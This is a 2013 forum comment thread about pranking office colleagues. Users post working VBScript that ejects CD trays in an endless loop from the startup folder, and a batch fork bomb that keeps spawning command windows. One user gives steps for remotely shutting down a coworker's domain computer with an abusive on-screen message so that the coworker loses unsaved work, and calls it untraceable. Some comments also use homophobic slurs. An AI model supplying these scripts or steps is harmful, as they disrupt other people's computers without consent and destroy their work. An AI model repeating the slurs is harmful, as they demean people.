wont 2 pinoy a cos-00sf f white sow?. . Work in an office? Want to annoy an colleague? Next Next End If 123993 lump. Here is the text, if someone wants to try it. Set oWMP = CreateObject("WMPlayer.OCX.7") Set colCDROMs = oWMP.cdromCollection wscript.sleep 600000 do i
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User avatar #1 - lexxyc (12/01/2013) [+] (19 replies)
Here is the text, if someone wants to try it.

Set oWMP = CreateObject("WMPlayer.OCX.7")
Set colCDROMs = oWMP.cdromCollection
wscript.sleep 600000
do
if colCDROMs.Count >= 1 then
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next
For i= 0 to colCDROMs.Count -1
colCDROMs.Item(i).Eject
Next
End If
wscript.sleep 120000
loop
User avatar #16 - I Am Monkey (12/02/2013) [+] (6 replies)
Instructions were not clear enough.
My dick got caught in the CD tray.
#25 - jakols (12/02/2013) [+] (17 replies)
well well well...
finally a post on FJ that's right up my valley.
Most IT departments have logical names for their computers. like a floor prefix or a department prefix, and then a growing number for each computer. so it should be no problem guessing the computername to another computer in your domain.
if you really want to **** **** up, not a forkbomb or a eject script...

> go to CMD
> type shutdown /i (because its easier to use the GUI than typing the whole command)
> enter the name of the computer you wish to take out
> write a message (*eg. faggot-ass ****** )
> set a countdown time
> watch as they panic when the computer locks them out with a big message that goes eg. "your really ****** now faggot..." and the timer counts down to the inevitable shutdown or restart.
> watch them twist and cry when they watch hours of work that just went down the drain because most people are too ******* lazy to save their work every 10-15 minutes.
> feel their hopelessness
> taste their tears
> know for yourself ****** untraceable
> fap
User avatar #7 - studbeefpile (12/02/2013) [+] (3 replies)
My brother did something similar to a display computer at a Costco, he entered a script that wouldn't allow you to close the window.
User avatar #15 - evilanakie (12/02/2013) [+] (2 replies)
my school computers have jammed trays
so i did this to them
now you can hear THUNK THUNK WHIR THUNK THUNK
after each computer thunks and whirs the next one thunks and splutters
User avatar #76 - itachijebest (12/02/2013) [+] (1 reply)
thanks for the tip lightbulb, i'll sure try that
User avatar #22 - vladhellsing ONLINE (12/02/2013) [+] (1 reply)
I did this. He just used it as a cup holder for the rest of the day.
User avatar #66 - ImmortalBaconEater (12/02/2013) [-]
Honestly, I trust nothing posted in the comments right now.
#19 - riseandfightfj (12/02/2013) [+] (1 reply)
what is the start up folder? where can i find it.
User avatar #28 - psychedelegate (12/02/2013) [+] (2 replies)
I tried this on my computer to see if it worked. At first, my antivirus blocked it. But it worked after I allowed it to...
User avatar #21 - hongkong ONLINE (12/02/2013) [+] (7 replies)
www.funnyjunk.com/text/3446077/Coding+is+magic/
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MsgBox "WSCRIPT"
Set oWMP = CreateObject("WMPlayer.OCX.7" )
Set colCDROMs = oWMP.cdromCollection

While(true)
Randomize
Upperlimit = colCDROMs.Count - 1
Lowerlimit = 0
Rom=Int((upperlimit - lowerlimit + 1)*Rnd() + lowerlimit)
colCDROMs.Item(Rom).Eject
Wend
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#41 to #38 - haganekitsune (12/02/2013) [-]
Exactly. I can only imagine the struggle for the elderly when something computer related goes askew.
Exactly. I can only imagine the struggle for the elderly when something computer related goes askew.
#56 - harleycurnow (12/02/2013) [-]
we need a bunch of these with explanations on what they do and how to stop them. Then we have the ingredients to create a USB stick of havok.
#40 - mastertarium (12/02/2013) [-]
I am going to use this for reasons....
#2 - hillbillypowpow (12/02/2013) [+] (5 replies)
how do you fix it?
User avatar #97 - cryingchicken ONLINE (12/02/2013) [-]
>CD tray
>2013
User avatar #78 - exclamation (12/02/2013) [+] (3 replies)
How do you stop this, before i do it?
User avatar #98 to #78 - jewishcommunazi (12/02/2013) [-]
Delete System32.
I know it's old, but I still like it.
#13 - RdRunner (12/02/2013) [+] (1 reply)
It is pretty annoying... I tried this awhile back and it worked pretty well, just make sure you figure out how to stop it before creating (and potentially accidentally running) the created file....
#73 - maxsexington (12/02/2013) [+] (2 replies)
>make folder for all desktop stuff on screen
>Turn it invisible
>Replace wall paper with wallpaper of smashed up screen
>never did it but in theory it should work
#103 to #73 - fortunehunter (12/02/2013) [-]
I see a dragon's head.
User avatar #47 - blended (12/02/2013) [-]
i've ripped out my cd tray on my laptop, because it opened itself all the time
#44 - Womens Study Major (12/02/2013) [-]
you can also do this one:
create .bat file with following text

:start
start cmd
goto :start

put it in startup

pretty much any operation with recursion can **** them up...
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